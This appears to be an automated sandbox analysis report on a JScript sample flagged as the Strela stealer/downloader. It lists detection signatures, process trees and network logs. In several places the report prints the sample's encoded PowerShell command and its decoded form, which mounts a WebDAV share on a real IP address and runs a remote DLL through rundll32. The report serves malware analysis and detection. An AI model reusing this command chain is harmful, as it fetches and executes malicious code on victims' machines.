Windows Analysis Report
634624051181209037.js

Overview

General Information

Sample name: 634624051181209037.js
Analysis ID: 1538498
MD5: 919ce94e94ec045dbe2a54183a6e17f3
SHA1: c4eb18c42169ce04bf70de8fd85650bd380d4fe2
SHA256: d51da762419a39b8933126835c12a8e52d08e8107539e1483a36fdb49a2b88f1
Tags: jsStrelaStealeruser-lowmal3
Infos:

Detection

Strela Downloader
Score: 96
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

JScript performs obfuscated calls to suspicious functions
Yara detected Strela Downloader
Encrypted powershell cmdline option found
JavaScript source code contains functionality to generate code involving a shell, file or stream
Opens network shares
Potential obfuscated javascript found
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Software Vulnerabilities

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Source: 634624051181209037.js Argument value : ['"WScript.Shell"', '"powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgA'] Go to definition
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Child: C:\Windows\System32\rundll32.exe

Networking

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Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: global traffic TCP traffic: 192.168.2.7:49704 -> 94.159.113.48:8888
Source: Joe Sandbox View IP Address: 94.159.113.48 94.159.113.48
Source: Joe Sandbox View ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.48
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.48
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.48
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.48
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.48
Source: net.exe, 00000004.00000002.1575193030.000001CDFE7AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.1575193030.000001CDFE757000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.48:8888/
Source: net.exe, 00000004.00000002.1575193030.000001CDFE782000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.48:8888/U
Source: net.exe, 00000004.00000002.1575193030.000001CDFE757000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.48:8888/pace
Source: powershell.exe, 00000002.00000002.1577519783.0000022D56B0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1579049076.0000022D6EBEF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.2
Source: powershell.exe, 00000002.00000002.1577519783.0000022D56ABF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.1577519783.0000022D56ADE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68

Spam, unwanted Advertisements and Ransom Demands

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Source: Yara match File source: amsi64_4268.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4268, type: MEMORYSTR

System Summary

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Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMwAxADgANQAyADIANQA4ADkAMAAxADAAMAAyADYALgBkAGwAbAAsAEUAbgB0AHIAeQA=
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMwAxADgANQAyADIANQA4ADkAMAAxADAAMAAyADYALgBkAGwAbAAsAEUAbgB0AHIAeQA= Jump to behavior
Source: 634624051181209037.js Initial sample: Strings found which are bigger than 50
Source: classification engine Classification label: mal96.rans.troj.spyw.expl.evad.winJS@8/3@0/1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3380:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnf1x5ra.alu.ps1 Jump to behavior
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\318522589010026.dll,Entry
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\634624051181209037.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMwAxADgANQAyADIANQA4ADkAMAAxADAAMAAyADYALgBkAGwAbAAsAEUAbgB0AHIAeQA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\318522589010026.dll,Entry
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMwAxADgANQAyADIANQA4ADkAMAAxADAAMAAyADYALgBkAGwAbAAsAEUAbgB0AHIAeQA= Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\318522589010026.dll,Entry Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior

Data Obfuscation

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Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:3624 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:3622 o: f:run a0:%22powershell%20-EncodedCommand%20bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADE");IWshShell3.Run("powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADE", "0", "false")
Source: 634624051181209037.js Initial file: High amount of function use 61
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFAAC662A07 push esp; ret 2_2_00007FFAAC662A16
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFAAC6629D8 push edx; ret 2_2_00007FFAAC662A06
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFAAC6620AD push E95E01D2h; ret 2_2_00007FFAAC6620E9

Hooking and other Techniques for Hiding and Protection

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Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1569 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1788 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7096 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5784 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000001.00000003.1546255911.000001DEF81D5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: RmVmCImVmHp
Source: net.exe, 00000004.00000002.1575193030.000001CDFE7B8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: net.exe, 00000004.00000002.1575193030.000001CDFE757000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded net use \\94.159.113.48@8888\davwwwroot\ ; rundll32 \\94.159.113.48@8888\davwwwroot\318522589010026.dll,Entry
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded net use \\94.159.113.48@8888\davwwwroot\ ; rundll32 \\94.159.113.48@8888\davwwwroot\318522589010026.dll,Entry Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMwAxADgANQAyADIANQA4ADkAMAAxADAAMAAyADYALgBkAGwAbAAsAEUAbgB0AHIAeQA= Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\ Jump to behavior
